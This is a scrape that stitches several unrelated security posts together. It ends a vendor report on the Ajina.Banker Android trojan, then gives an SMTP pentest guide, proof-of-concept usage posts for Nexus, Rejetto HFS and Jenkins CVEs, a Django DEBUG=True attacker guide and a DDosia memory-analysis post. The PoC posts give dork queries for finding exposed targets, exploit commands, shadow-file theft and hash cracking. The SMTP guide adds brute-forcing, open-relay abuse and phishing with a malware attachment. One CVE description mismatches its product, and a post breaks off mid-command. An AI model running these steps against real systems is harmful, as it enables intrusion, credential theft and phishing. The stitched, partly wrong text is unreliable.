It appears that this new feature is developed to primarily target users in Azerbaijan because of the hard-coded phone number prefix and text language on the Toast popup.

There are some additional features that are common for most of analyzed org.zzzz.aaa samples:

new packages of interest
Accessibility Service abuse:
- prevent uninstallation
- grant permissions

Requests for additional permissions. However, we did not found calls of Android Platform API in the analyzed samples that requires such permissions
- READ_CALL_LOG
- GET_ACCOUNTS
- READ_CONTACTS
Opens another legitimate app instead of a browser when permissions are granted

There are several examples of layouts from discovered samples with various legends:

Figure 21.1 Example of interface of the new samples

Figure 21.2 Example of interface of the new samples

Figure 21.3 Example of interface of the new samples

Figure 21.4 Example of interface of the new samples

Infrastructure

As mentioned before, the malware only sends exfiltrated data over raw TCP in JSON to the gate server. There were no capabilities to receive commands found. But we’ve managed to find a web panel of “SMS handler”, which refers us to the version of package name com.example.smshandler. It’s possible to find further servers by the same response, using search by body hash (SHA1 1a9c98808a547d4b50cc31d46e19045bcd2cfc1b).

Figure 22.1 Discovery of the “SMS handler” Web Panel

Figure 22.2 Scan result for responses containing Web Panel

On all of the adversaries servers we can find certificates with “WIN-PDDC81NCU8C” issuer and subject common name. However, this common name is generic and widely used by a specific hosting service according to Shodan.

Figure 23.1 Certificate found on gate server

Figure 23.2 Number of certificates with the same common name

We’ve seen 9 servers involved in this campaign, some of them shared the same Etags (e.g. 1718668565.8504026-495-535763281). Network infrastructure involved in this attack is shown on the graph analysis below.

Figure 24. Screenshot of graph analysis of network infrastructure

Targets

As we’ve mentioned above, one significant aspect of our findings is based on the analysis of Android package names utilized in this campaign. Many of these packages mimicked popular regional apps, such as local banking applications, government service portals, or everyday utility tools. By replicating the appearance of these trusted applications, the adversary increased the likelihood of users downloading and installing the malware. So the displayed names can be a trustworthy indication of the target region.

Analysis indicates that most of these malware samples were specifically designed to target users in Uzbekistan, suggesting that the adversary deliberately focused on this region. But there are also a few other regions that have been targeted by the adversary. The main reason is that the samples have hardcoded checks for attributes distinctive for other countries. We’ve also seen AM-CERT (National CERT/CSIRT Armenia) reporting this campaign.

During the analysis we’ve also found the use of specific country phone provider codes embedded within the malicious APKs. These codes indicate that the adversary has an even wider pool of target countries. The adversary checks for Service Provider Network (SPN) and then sends a Unstructured Supplementary Service Data (USSD) request to get the phone number of the active SIM cards from the victim’s device. Based on this we can assume potential regions of interest, from where the user data could be possibly stolen.

Figure 25. Distribution of supported SPNs and apps of interest per country hardcoded in sample

Attribution

The analysis of the malware has shown that the malicious files contain data about different affiliates. This leads us to conclude that it’s based on an affiliate programme, where the support for the initial project is led by a small group of people, and all the distribution and infection chains are made by affiliates working for the percentage.

Sample named “Вип Контент.apk” – “VIP Content.apk” in english – (SHA1 b4b9562a9f4851cba5761b1341f58f324f258123) was seen by MalwareHunterTeam and mentioned in Twitter post in January 28, 2024. One of the replies written to the post by APK–47 highlights an interesting username hardcoded as a name of one of the workers. The username “@glavnyypouzbekam” leads to the Telegram account named “Travis Bek” with description “Главный по узбекам” which means “Chief for Uzbeks”.

Figure 26.1 Screenshot of the Twitter post by APK–47

Figure 26.2 Screenshot of the Twitter post by APK-47

Group-IB Threat Intelligence system has found the following activity related to the Telegram account mentioned. Adversary participated in programmers chats, searched for “Java coder” and, according to his message, to an existing team. Detected user activity is shown on the figures below.

Figure 27.1 User activity found by Group-IB Threat Intelligence

Figure 27.2 User activity found by Group-IB Threat Intelligence

We’ve also found a Telegram bot connected to this campaign by username “@glavnyypouzbekam” contained in its description. Bot with the username “@glavnyypouzbekambot” has information about the possibility of earning money online and an invitation to join written in Russian.

Figure 28.1 Telegram bot found during the investigation

Figure 28.2 Telegram bot found during the investigation

We assume that highly likely due to its uniqueness, the hardcoded worker’s name “@glavnyypouzbekam” is connected to the discovered Telegram activity. Based on our findings, we assume that the adversary standing behind this account is one of the operators of the Ajina malicious campaign. The hiring of Java coders, created Telegram bot with the proposal of earning some money, also indicates that the tool is in the process of active development and has support of a network of affiliated employees. Worth noting, that soon after the adversary’s name was posted on Twitter, current Telegram account was deleted.

Prevention

To protect Group-IB customers from threats related to Ajina.Banker malware and other similar threats, Group-IB Fraud Protection uses events/rules to detect and prevent Ajina.Banker and other similar malware:

For confirmed malware samples Ajina.Banker:

Group-IB’s Fraud Protection maintains an extensive database of all detected malware. When our system detects applications from the list of mobile Trojans downloaded to an end-users device, we trigger the appropriate events to notify our customers promptly.

Figure 29. Screenshot of event from Group-IB Fraud Protection system

When the malware is detected on the user’s device:

Once the trojan is successful, sensitive customer data typically falls into the hands of the threat actor, who then seeks to monetize this data. Often, the threat actor or their software will log into the stolen account. In such cases, a new device may appear when accessing the user account. Consequently, a rule has been developed to monitor accounts where a mobile banking trojan has been confirmed and to detect logins from new devices.

When new versions of a given Trojan family appear:

For cases where the malware has not yet been added to the malware database, a new rule has been developed that focuses on the trojan’s specific characteristics. In particular, we check the characteristics of all software from a non-legitimate source for the ability to read SMS. These alerts are also transmitted to banks in the form of specific event types, increasing the likelihood of preventing fraudulent transactions by threats.

Figure 30. Screenshot of event from Group-IB Fraud Protection system

Conclusion

The case of Ajina highlights how quickly malware developers can appear, set up distributional chains and evaluate their tools. The direct communication between the threat actor and victim also makes Ajina.Banker an effective malware type in terms of keeping low detect rate on the first stages. While Group-IB does not have definitive data on the amount of money stolen by Ajina, the methods harnessed by malicious actors are cause for concern.

Recommendations

The security of mobile applications and operating systems is improving rapidly. However, it is premature to completely write-off Android banking Trojans entirely. In our experience, banking Trojans are still highly active, with threat actors widely distributing modified Trojans based on publicly available source code.

A good example of this trend is Ajina.Banker, which poses a significant threat not only to end-users of banking applications but also the entire banking sector itself.

For users

Below are some basic recommendations on protecting mobile devices from banking Trojans like Ajina.Banker.

Always check for updates on your mobile device. Maintaining your mobile devices updated will make them less vulnerable to such threats.
Avoid downloading applications from sources other than Google Play. However, it’s important to note that even Google Play cannot guarantee complete security. Always check the permissions that an application requests before installing it.
Do not click on links contained within suspicious SMS messages.

If your device has been infected, do the following:

Disable network access.
Freeze any bank accounts that may have been accessed from your device.
Contact experts to receive detailed information about the risks that the malware could pose to your device.

For organizations

The Group-IBThreat Intelligence team will continue to track Ajina.Banker and update our database with new indicators related to this trojan. Additionally, our Threat Intelligence team will notify customers when their application is targeted by Ajina.Banker, or any other Android malware we track.

For organizations that wish to protect their customers, implementing a solution that monitors user sessions – such as Group-IB Fraud Protection – can prevent malware operators from defrauding their clients and damaging their reputations.

Group-IB’s Fraud Protection detects the latest fraud techniques, phishing preparation, and other types of attacks. The platform integrates data from Group-IB’s attribution-based Threat Intelligence system. Exclusive information about cybercriminals, malware, adversary IP addresses, and compromised data (logins, passwords, bank cards) helps develop anti-fraud systems and cybersecurity teams, which allows the latter to identify intruders and their actions.

In this way, Fraud Protection “catches” banking Trojans and detects unauthorized remote access, web injections, cross-channel attacks, and personal data collection. Group-IB’s solution implements patented algorithms that help detect infected devices without the client’s involvement and without installing additional software.

Fraud Matrix

Tactic	Technique	Procedure
Resource development	Malware	Attackers use Ajina.Banker malware to gain access to user accounts
	Scam workers	Attacker has a network of affiliated employees acting with financial motivation, spreading Ajina.Banker that victimizes ordinary users
	Social Network Account	Attackers use Telegram accounts to spread Ajina.Banker
Trust abuse	Bluffing	Attackers promise easy earnings and lucrative offers to convince end users to install Ajina.Banker
	Fake application	Ajina.Banker mimics popular banking apps and payment systems
	Enabling Accessibility Service for Malware	Ajina.Banker asks for Accessibility Service permission to prevent uninstallation or uninstall itself
End-user interaction	Phishing	Ajina.Banker expended malicious applications via Telegram
	Pushing to install Android Malware	Attackers requires users to download, install the .APK file manually
	Scam ads	The description of Ajina.Banker in Telegram is accompanied by an advertising description offering bonuses and cash rewards
	Scam Message in Social Network/Instant Messenger	Ajina.Banker is promoted through mailings in Telegram groups and in personal messages
Credential access	Phone Number Capture	Ajina.Banker makes a USSD request to get the phone number to be sent to the gate server
	2nd Factor Capture	Ajina.Banker reads all SMS including authentication codes, allowing fraudsters to pass the 2nd Factor
	Card PAN/EXP/CVV Capture	Attackers, after logging into a user’s account, are able to obtain full information about the user’s bank cards
	Credential Capture	Having access to a user account allows attackers to gain full information about the account holder
	SMS/Push Interception	Ajina.Banker collects all SMS on the user’s device, even SMS from non-target organizations
Account access	Access from Fraudster Device	Attackers log into the account from a new device with the user’s phone number and confirmation SMS

MITRE ATT&CK® Matrix

Tactic	Technique	Procedure
Initial Access (TA0027)	Phishing (T1660)	Ajina spreaded malicious applications via Telegram.
Persistence (TA0028)	Event Triggered Execution: Broadcast Receivers (T1624.001)	Ajina.Banker registers to receive system-wide broadcast intents such as receiving SMS message, device boot completion, network changes, battery charging state changes, locking and unlocking the screen.
Defense-evasion (TA0030)	Indicator Removal on Host: Uninstall Malicious Application (T1630.001)	Ajina.Banker can uninstall itself.
Defense-evasion (TA0030)	Masquerading: Match Legitimate Name or Location (T1655.001)	Ajina.Banker mimics legitimate applications, trying to match their names and icons.
Credential-access (TA0031)	Access Notifications (T1517)	Ajina.Banker can access SMSes.
Discovery (TA0032)	Software Discovery (T1418)	Ajina.Banker checks for presence of some hardcoded applications (mostly banks).
Discovery (TA0032)	System Network Configuration Discovery (T1422)	Ajina.Banker checks for SPN and then sends a USSD request to get the phone number.
Collection (TA0035)	Access Notifications (T1517)	Ajina.Banker can access the notifications.
Collection (TA0035)	Protected User Data: SMS Messages (T1636.004)	Ajina.Banker can access the SMS messages.
Command-and-control (TA0037)	Non-Standard Port (T1509)	Ajina.Banker sends data in raw TCP to 8080 port.
Exfiltration (TA0036)	Exfiltration Over Alternative Protocol: Exfiltration Over Unencrypted Non-C2 Protocol (T1639.001)	Ajina.Banker exfiltrates data to the gate server.

Indicators of compromise

md5	sha1	sha256
4b0256974d7250e3ddc3d13d6c506f4f	cc6af149f1da110a570241dde6e3cfd0852cb0d8	a523d967e7bdfbb7ce899445f705925e7c6e11c39db0fb77b8aed3b4615eb17b
a61c0d53f624024d401c987032270e7d	2405e7b762e65011f7d107b2b2bcf069a18a5278	44b8898a37153238185befdbf59e0e6de4efec302082f74992a7120a416f2008
34a42857113ab2c856d533105494eb41	8a3c5e0c0438588640fbf4afe3a9c176a8204eec	1e531605566061e47153f53bba14451eb4b182251f328c62dd7240a19b7fe6e3
bf20e58236c2020cd5eeceff0bf7974c	209aa1222bf59dd397aa38779cb0f48dcc961424	3897324fdf1ef6deb528b65c047017318a13c87f0b68f1eacee1fad256256b51
7f2e9aa66f802727a52eeec72ed2d458	84af2ce3a2e58cc8a70d4cc95916cbfe15f2169e	8269b64b8cf38bdaa1b632968dc69172fcc830e9ad0c00cd6bebc586dec4af1f
00241d7334d78340cd5eb721f40b8682	15de15a6f4af9c32cccbee23d99b80d33f3dcb50	2e592aacdad946249111ac6ecaa1614fe55091adcf00495936b106cd5707ca35
48eb80adac9c2c9bd046c8f3da8c7f58	7f4b4f2b941e4472ece092a409099716aadcf16b	f4f3d2bd5eee5a1f0632314abf5d540c03e97c0d2afe155439a533a030b792f2

SMTP/s — Port 25,465,587 For Pentesters

Posted on October 2, 2024 - October 2, 2024 by Maq Verma

SMTP (Simple Mail Transfer Protocol) is a core component of the internet’s email infrastructure, responsible for sending and receiving emails. It’s a protocol within the TCP/IP suite, frequently working alongside POP3 or IMAP to store emails on servers and allow users to access them. Despite its widespread use, SMTP has certain vulnerabilities that make it a popular target for penetration testers and hackers.

SMTP Commands:

HELO It’s the first SMTP command: is starts the conversation identifying the sender server and is generally followed by its domain name.

EHLO An alternative command to start the conversation, underlying that the server is using the Extended SMTP protocol.

MAIL FROM With this SMTP command the operations begin: the sender states the source email address in the “From” field and actually starts the email transfer.

RCPT TO It identifies the recipient of the email; if there are more than one, the command is simply repeated address by address.

SIZE This SMTP command informs the remote server about the estimated size (in terms of bytes) of the attached email. It can also be used to report the maximum size of a message to be accepted by the server.

DATA With the DATA command the email content begins to be transferred; it’s generally followed by a 354 reply code given by the server, giving the permission to start the actual transmission.

VRFY The server is asked to verify whether a particular email address or username actually exists.

TURN This command is used to invert roles between the client and the server, without the need to run a new connaction.

AUTH With the AUTH command, the client authenticates itself to the server, giving its username and password. It’s another layer of security to guarantee a proper transmission.

RSET It communicates the server that the ongoing email transmission is going to be terminated, though the SMTP conversation won’t be closed (like in the case of QUIT).

EXPN This SMTP command asks for a confirmation about the identification of a mailing list.

HELP It’s a client’s request for some information that can be useful for the a successful transfer of the email.

QUIT It terminates the SMTP conversation.

Reconnaissance and Information Gathering

Subdomain Enumeration & DNS Misconfigurations: Before jumping into SMTP directly, expand the reconnaissance section to include subdomain enumeration for deeper target discovery. Tools like amass or sublist3r could be used here to identify potential SMTP servers:Copy

amass enum -d <target-domain>

Subdomains could potentially host misconfigured or less secure SMTP servers.

1.1. Identify Open SMTP Ports

Start by using tools like Nmap to identify open ports, typically 25 (SMTP), 465 (SMTPS), and 587 (Submission over TLS):Copy

nmap -p25,465,587 --open <target-IP>

Using Metasploit:Copy

use auxiliary/scanner/smtp/smtp_enum
set RHOSTS <target-IP>
set THREADS 10
run

1.2. MX Record Discovery

Discover Mail Exchanger (MX) records for the target organization:Copy

dig +short mx <target-domain>

This will return the mail servers responsible for receiving emails for the domain.

1.3. Banner Grabbing

Banner grabbing helps identify the SMTP server version, which could contain known vulnerabilities. Use Netcat or OpenSSL to connect and grab the banner:Copy

nc -vn <target-IP> 25

For secure connections:Copy

openssl s_client -starttls smtp -connect <target-IP>:587

Using Metasploit:Copy

use auxiliary/scanner/smtp/smtp_version

Look for:

Server versions
Mail server type (Microsoft ESMTP, Postfix, Exim, etc.)
Any other information leaks (internal hostnames)

Enumeration and Vulnerability Discovery

2.1. Enumerate SMTP Commands

Use Nmap’s smtp-commands script to enumerate supported SMTP commands. This may give insights into how to interact with the server, and whether certain attack vectors (like relay attacks) are possible.Copy

nmap -p25 --script smtp-commands <target-IP>

2.2. Open Relay Testing

An open SMTP relay can be abused to send spam or phishing emails without authentication. Use the smtp-open-relay Nmap script to test for this vulnerability:Copy

nmap -p25 --script smtp-open-relay <target-IP>

Using Telent:Copy

telnet <target-IP> 25
helo attacker.com
mail from: attacker@attacker.com
rcpt to: victim@target.com
data
This is a test email to verify open relay.
.
quit

If the server is vulnerable, you will be able to send emails without being an authenticated user.

2.3. Verify Users

SMTP servers can sometimes allow username verification using RCPT TO and VRFY commands, revealing valid email accounts on the system.Copy

telnet <target-IP> 25
HELO test.com
MAIL FROM: attacker@attacker.com
RCPT TO: victim@target.com

If you get a 250 OK response, the email address is valid.

You can automate this using tools like smtp-user-enum:Copy

smtp-user-enum -M VRFY -U users.txt -t <target-IP>

Exploiting Information Disclosure and Misconfigurations

3.1. Internal Server Name Disclosure

Some SMTP servers may leak internal server names in the response to commands like MAIL FROM:. For example:Copy

MAIL FROM: attacker@example.com

Response:Copy

250 me@INTERNAL-SERVER.local...Sender OK

This internal information could be used in later attacks.

3.2. NTLM Authentication Information Disclosure

If the SMTP server supports NTLM authentication, you can extract sensitive information by interacting with the authentication process. Copy

nmap --script smtp-ntlm-info.nse -p25 <target-IP>

Using Metasploit:Copy

use auxiliary/scanner/smb/smb_ntlm_credential_dump
set RHOSTS <target-IP>
run

Password Cracking and Credential Harvesting

4.1. Sniffing Cleartext Credentials

SMTP running on port 25 (non-SSL) may allow you to capture email credentials via network sniffing using Wireshark or tcpdump. Look for cleartext AUTH LOGIN or AUTH PLAIN credentials.

Wireshark filter:Copy

tcp.port == 25 && tcp contains "AUTH"

4.2. SMTP Brute-Forcing

If authentication is required but weak credentials are suspected, use brute-forcing tools such as Hydra: Copy

hydra -L users.txt -P passwords.txt smtp://<target-IP> -V

Sending Malicious Emails (Post-Exploitation)

Once access is gained to the SMTP server or an open relay is found, it is possible to send phishing emails, malware, or perform further reconnaissance.

5.1. Send an Email from Linux Command Line

Copy

sendEmail -t victim@target.com -f attacker@malicious.com -s <target-IP> -u "Urgent" -m "Please open the attached document" -a /path/to/malware.pdf

Or use Swaks to send phishing emails:Copy

swaks --to victim@target.com --from attacker@malicious.com --header "Subject: Urgent" --body "Click this link" --server <target-IP>

5.2. Phishing with EICAR Test File

Test antivirus defenses by sending an EICAR test file to see if the server scans attachments for malware. This helps identify email gateway filtering systems:Copy

sendEmail -t victim@target.com -f attacker@malicious.com -s <target-IP> -u "Test" -a /path/to/

POC – CVE-2024–4956 – Nexus Repository Manager 3 Unauthenticated Path Traversal

Posted on October 2, 2024 - October 2, 2024 by Maq Verma

CVE-2024-4956

POC – CVE-2024–4956 – Nexus Repository Manager 3 Unauthenticated Path Traversal

Potentially allowing an attacker to read certain information on Check Point Security Gateways once connected to the internet and enabled with Remote Access VPN or Mobile Access Software Blades. A security fix that mitigates this vulnerability is available.

Read about it — CVE-2024-4956

Disclaimer: This Proof of Concept (POC) is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

Finding Targets

To find potential targets, use Fofa (similar to Shodan.io):

Fofa Dork: header="Server: Nexus/3.53.0-01 (OSS)"

First, clone the repository

Copy

git clone https://github.com/verylazytech/CVE-2024-4956

Next chose your target and add it to list.txt file in this format:

https://ip_address

Run the Exploit

Copy

python3 CVE-2024-4956.py -l list.txt

The output is passwd and shadow files that found:

Crack the hash

Now after you find both file passwd & shadow you can try crack the hash with JohnTheRipper, after running the exploit you have 2 files, passwd & shadow, so you can merge them into one file and try crack them (I used rockyou.txt but it can be any password wordlist):Copy

unshadow passwd shadow > unshadowed.txt

Copy

john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt

Unauthenticated RCE Flaw in Rejetto HTTP File Server – CVE-2024-23692

Posted on October 2, 2024 - October 2, 2024 by Maq Verma

POC – Unauthenticated RCE Flaw in Rejetto HTTP File Server – CVE-2024-2369

Overview

CVE-2024-23692 is a critical vulnerability in Rejetto HTTP File Server (HFS) version 2.3m, allowing unauthenticated remote code execution (RCE).

This flaw enables attackers to execute arbitrary code on the server, posing significant security risks. In this post, we examine Rejetto HFS, the affected versions, the impact of the vulnerability, and the timeline of its discovery and remediation.

Read about it — CVE-2024-23692

Disclaimer: This Proof of Concept (POC) is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

Finding Targets

To find potential targets, use Fofa (similar to Shodan.io):

Fofa Dork: "HttpFileServer" && server=="HFS 2.3m"

Cloning the Repository

First, clone the repository:Copy

git clone https://github.com/verylazytech/CVE-2024-23692

Run the Exploit

Copy

./CVE-2024-23692.sh <Target:port>  <cmd>

CVE-2024–23897 — Jenkins File Read Vulnerability — POC

Posted on October 2, 2024 - October 2, 2024 by Maq Verma

Basic info

CVE-2024-23897 is a critical vulnerability in Jenkins that allows unauthenticated attackers to read arbitrary files on the Jenkins controller’s file system. This flaw arises from improper handling of command arguments in the args4j library, specifically in command-line operations where an @ character followed by a file path can lead to unauthorized file content exposure.

This vulnerability poses a significant risk as it can enable attackers to access sensitive information, such as cryptographic keys and configuration files, which may be leveraged for further exploitation, including remote code execution (RCE). The issue is particularly alarming given the widespread use of Jenkins in CI/CD pipelines and the number of exposed Jenkins instances globally.

A security fix addressing this vulnerability has been released in Jenkins versions 2.442 and later, as well as Jenkins LTS version 2.426.3 and later. Users are strongly advised to upgrade their Jenkins installations to mitigate this risk and protect sensitive information.

Read about it — CVE-2024-23897

Disclaimer: This Proof of Concept (POC) is made for educational and ethical testing purposes only. Usage of this tool for attacking targets without prior mutual consent is illegal. It is the end user’s responsibility to obey all applicable local, state, and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program.

Getting Started

Finding Targets

To find potential targets, use Fofa (similar to Shodan.io):

Fofa Dork: header=”X-Jenkins: 2.426.2″

Affected Jenkins versions include up to 2.441 and up to 2.426.2 for Jenkins LTS.

Clone the repository:Copy

git clone https://github.com/verylazytech/CVE-2024-23897

Run the Exploit:Copy

python3 CVE-2024-23897.py -u <Victim_ip:port>

Enter the file that you want to read into the shell (this case /etc/passwd):

Some files that could be of interest:

/proc/self/environ Environmental variables including JENKINS_HOME
/proc/self/cmdline Command-line arguments
/var/jenkins_home/users/users.xml User account storage locations
/var/jenkins_home/users/<user_directory>/config.xml User BCrypt password hash
/var/jenkins_home/secrets/master.key Encryption secret key
/etc/hosts Linux local-DNS resolution
/etc/passwd Linux user accounts

Genreal Usage

Copy

usage: python3 CVE-2024-23897.py [-h] -u URL [-f FILE] [-t TIMEOUT] [-s] [-o] [-p PROXY] [-v]

options:
  -h, --help            show this help message and exit
  -u URL, --url URL     Jenkins URL
  -f FILE, --file FILE  File path to read
  -t TIMEOUT, --timeout TIMEOUT
                        Request timeout
  -s, --save            Save file contents
  -o, --overwrite       Overwrite existing files
  -p PROXY, --proxy PROXY
                        HTTP(s) proxy to use when sending requests (i.e. -p http://127.0.0.1:8080)
  -v, --verbose         Verbosity enabled - additional output flag

Why Django’s [DEBUG=True] is a Goldmine for Hackers

Posted on October 2, 2024 - October 2, 2024 by Maq Verma

Misconfigurations are often the weakest link in an otherwise secure environment. One of the most dangerous yet easily overlooked misconfigurations in Django is leaving DEBUG=True in a production environment. From an attacker’s perspective, this is a goldmine for reconnaissance and exploitation. This article explores how attackers can exploit this setting and the top five valuable data types they can retrieve from a vulnerable Django application.

What Does DEBUG=True Do in Django?

In Django, the DEBUG setting controls whether debug information, including error stack traces and detailed request information, is shown when an error occurs. With DEBUG=True, Django outputs a verbose error page containing sensitive information to aid developers during the development process.

From an Attacker’s Point of View:

When an attacker finds a Django site running with DEBUG=True, it’s as though the application is openly offering detailed internal information to help them craft their attack. These verbose error messages contain everything from the server’s environment variables to installed middleware and even potential entry points for attack.

How Attackers Identify Django Sites with DEBUG=True

Scanning the Web for Vulnerable Sites

Attackers use automated tools like Shodan, FOFA, and Censys to scour the web for Django applications. These tools allow attackers to search for specific error messages and patterns associated with DEBUG=True.

Practical Method:

FOFA Query:

"DEBUG=True" && "Django" && "RuntimeError"

These search engines scan the internet for open ports and services and then analyze the HTTP responses to see if they contain known Django debug patterns. With these search results, attackers can compile a list of vulnerable websites running Django with DEBUG=True.

Data Leaked via Django Debug Pages

When DEBUG=True is set, attackers can harvest valuable information directly from the debug pages.

Practical Data Retrieval:

Full Stack Trace:

The stack trace provides insight into how the code executes, where errors occur, and potentially exposed variables in requests and responses.
Example:

Traceback (most recent call last): File "/path/to/your/project/views.py"...

Practical Use: Attackers can identify code execution paths and look for points where input is processed, enabling targeted attacks like SQL injection or file inclusion exploits.

Request and Response Data:

Attackers gain insight into cookies, CSRF tokens, and headers from both the request and the response.
Practical Use: Using this information, attackers can perform session hijacking, steal CSRF tokens, or craft more effective social engineering attacks.

Request Headers: {   'Cookie': 'sessionid=abcd1234; csrftoken=efgh5678...', 
                     'User-Agent': 'Mozilla/5.0...' }

Installed Applications and Middleware:

Installed apps: ['django.contrib.admin', 'myapp', 'rest_framework'...]

Practical Use: By analyzing installed apps and middleware, attackers can identify vulnerable third-party libraries or unpatched components.

Database and File Paths:

While the database password might not be directly shown, other details like the database engine, file paths, and schema are often exposed.
Practical Use: Attackers could exploit known vulnerabilities in the database system or file system, or even find files that expose further credentials or sensitive data.

4. Practical Methods for Exploiting a Django DEBUG=True Configuration

Leveraging the Stack Trace

Once a vulnerable site is identified, the next step is to extract as much information as possible from the stack trace. This includes sensitive details like:

File paths:

File "/var/www/myapp/views.py" in render

The file path gives an attacker clues about the structure of the server and potential locations of sensitive files (config files, logs, etc.).
Seeing which functions and methods are being called and how they handle input can expose SQL injection points, XSS vulnerabilities, or logic flaws.

CSRF Token Abuse

If an attacker can retrieve the CSRF token, they can carry out Cross-Site Request Forgery attacks. If the token is tied to an active session, an attacker can:

Perform unauthorized actions on behalf of a user (e.g., making purchases or transferring funds).
Hijack user sessions if combined with a stolen session cookie.

Database Exploitation

Attackers can retrieve partial database configurations (such as the database type and schema) from debug pages and combine them with other known vulnerabilities to:

Execute SQL injections.
Bypass authentication or escalate privileges by understanding how the database queries are processed.

The Top 5 Valuable Data Attackers Can Retrieve from DEBUG=True

SECRET_KEY: While Django tries to hide this in debug output, it is sometimes retrievable through indirect methods or misconfigurations in related files. With the SECRET_KEY, attackers can:

Generate forged session tokens.
Bypass authentication mechanisms.

Database Credentials: Exposure of database engines or schemas can lead to SQL injection or direct access to the database if credentials are mismanaged.

CSRF Tokens: Once CSRF tokens are exposed, attackers can manipulate user sessions to perform malicious actions or hijack sessions entirely.

Session Cookies: If session cookies are exposed in the request/response data, attackers can steal active user sessions and impersonate legitimate users.

Installed Middleware and Apps: By knowing what middleware and third-party applications are installed, attackers can exploit known vulnerabilities in these packages, especially if they are outdated.

How Developers Can Prevent These Attacks

As you can see, leaving DEBUG=True in production provides attackers with a wealth of sensitive information. To prevent such issues:

Always set DEBUG=False in production.
Use environment-specific settings to ensure no sensitive data is leaked in error messages.
Implement robust logging practices that hide sensitive data but still provide useful information for debugging.

For Django developers, securing applications against misconfigurations like this is crucial to safeguarding against exploitation.

Extracting DDosia targets from process memory

Posted on September 2, 2024 - September 2, 2024 by Maq Verma

Introduction

This post is part of an analysis that I have carried out during my spare time, motivated by a friend that asked me to have a look at the DDosia project related to the NoName057(16) group. The reason behind this request was caused by DDosia client changes for performing the DDos attacks. Because of that, all procedures used so far for monitoring NoName057(16) activities did not work anymore.

Before starting to reverse DDosia Windows sample, I preferred to gather as much information as possible about NoName057(16) TTPs and a few references to their samples.

Avast wrote a very detailed article about that project and described thoroughly all changes observed in the last few months. Because of that, before proceeding with this post, If you feel you are missing something, I strongly recommend that you read their article.

Client Setup

According to the information retrieved from the Telegram channel of DDosia Project, there are a couple of requirements before executing the client. The very first action is to create your id through a dedicated bot that will be used later on for authentication purposes. After that, it’s necessary to put the client_id.txt file (generated from DDosia bot) and the executable file in the same folder. If everything has been done properly, it should be possible to observe that authentication process will be done correctly and the client is going to download targets from its server:

Figure 1: Client authenticated correctly

Dynamic analysis and process memory inspection

Here we are with the fun part. Because of the issues of analyzing GO binaries statically, I preferred to use a dynamic approach supported by Cape sandbox. In fact, executing the client with Cape it was possible to gather behavioral information to speed up our analysis (ref). Since the executable is going to be used for DDoS attacks, it’s easy to expect that most of the functions are related to network routines. One of the most interesting WindowsAPI refers to WSAStartup. This is interesting for us, because according to Microsoft documentation, it must be the first function to be used in order to retrieve socket implementation for further network operations:

The WSAStartup function must be the first Windows Sockets function called by an application or DLL. It allows an application or DLL to specify the version of Windows Sockets required and retrieve details of the specific Windows Sockets implementation. The application or DLL can only issue further Windows Sockets functions after successfully calling WSAStartup.

Moreover, starting to monitor network requests with Wireshark, give us additional information about client-server interactions and targets retrieving procedure:

Figure 2 – Request for target list

As already mentioned on Avast blogspot, the target list is encrypted and retrieved after the authentication process. However, performing DDoS attacks requires a decryption routine to make targets in cleartext and forward them to a proper procedure. With this insight, it’s possible to open up a debugger and set a breakpoint of WSAStartup and start exploring the process flow from that point.

Figure 3 – Exploring DDosia executable control flow

Exploring the process execution, it’s possible to observe that WSAStartup API is called two times before starting the attack. The first one has been used from the main thread to perform the authentication process on the server side, instead the second call will be done right after retrieving the target file and it will be used from another thread to start the attack phase. Since that information we are looking for has been already downloaded and hopefully decrypted (at the time of the second call) we could explore the process memory trying to identify our target list.

Figure 4 – Target stored in cleartext within process memory

As we expected, information is actually decrypted right before being used from threads that are in charge to flood the targets. From the cleartext sample, it’s also possible to reconstruct the original json file structure that follow this format:

{"target_id":"435te3af574b95e395847362","request_id":"23cer8c5mmp4434dlad53f2s","host":"www.tartuhly.ee","ip":"90.190.99.85","type":"http","method":"GET","port":443,"use_ssl":true,"path":"/otsi/$_1","body":{"type":"","value":""},"headers":null}

JSON

At this point I have shown all procedures to quickly follow the execution flow until the decryption routine is called. From now on, it’s just a matter of looking for those data within process memory and extracting them for your own purpose. It’s worth noting that information won’t be stored decrypted forever, in fact, as the executable keeps running, the json file is actually mangled in a way that is not easy to resemble it properly.

A little bit of automation

Even if the analysis has been completed and targets are correctly retrieved, I thought that giving a little tool to extract that information would be useful. Instead of doing complex stuff, I wrote two simple scripts called targets.js and recover.py. The purpose of these two files is to allow analysts from different backgrounds to extract those targets, even performing a simple memory dump. Probably there are easier and smarter techniques out there, but it was also a good chance to put in practice DBI, which I have already covered in a previous post.

target.js: Frida script that aims to get a memory dump after the WSAStartup has been called for the second time (when payloads are in cleartext in memory).
recover.py: it’s a simple python script that retrieves structured information from the files dumped. It’s worth noting that I limited my script to look for structured information, retrieving IP and Hostname (additional improvements are left to user’s needs).

Script Testing

In order to run the mentioned scripts there are two requirements to fulfill:

Installing frida-tool (pip install frida-tools).
Create a folder named “dumps” in the same place where you run the target.js file.

If all requirements are satisfied it’s just a matter of running those scripts and getting the results. The first step is to run frida.exe, using the targets.js file that contains all the information to dump the process memory:

frida.exe <ddosia_client.exe>  -l targets.js

PowerShell

If everything has been done correctly (please keep in mind the requirements), you should be able to see a message “[END] Memory dumped correctly” in your console.

Figure 5 – Dumping process Memory with Frida

Now you can navigate in dumps folder and run the python script using the following command line that is going to forward all dumped file from the current directory to the script that is going to print the result in your console:

python.exe recover.py (Get-Item .\*dump)

PowerShell

Figure 6 - Extracting DDosia targets from dumped files

Figure 6 – Extracting DDosia targets from dump files

Final Notes

Before concluding, It’s worth mentioning that updates on these scripts and new techniques to dealing with further improvements of DDosia project are not going to be shown, because it represents a topic that I’m not following personally and I’m sure that more authoritative voices will keep track of this threat and its evolution.

[2023-11 – UPDATE ]

As mentioned in the section above I’m not able to provide updates on real-time DDosia Project changes, but since it represents a quite good challenge to sharpen my reversing skills on GO binaries (and I received unexpected feedback about this work), I decided to look in their new Windows client version.

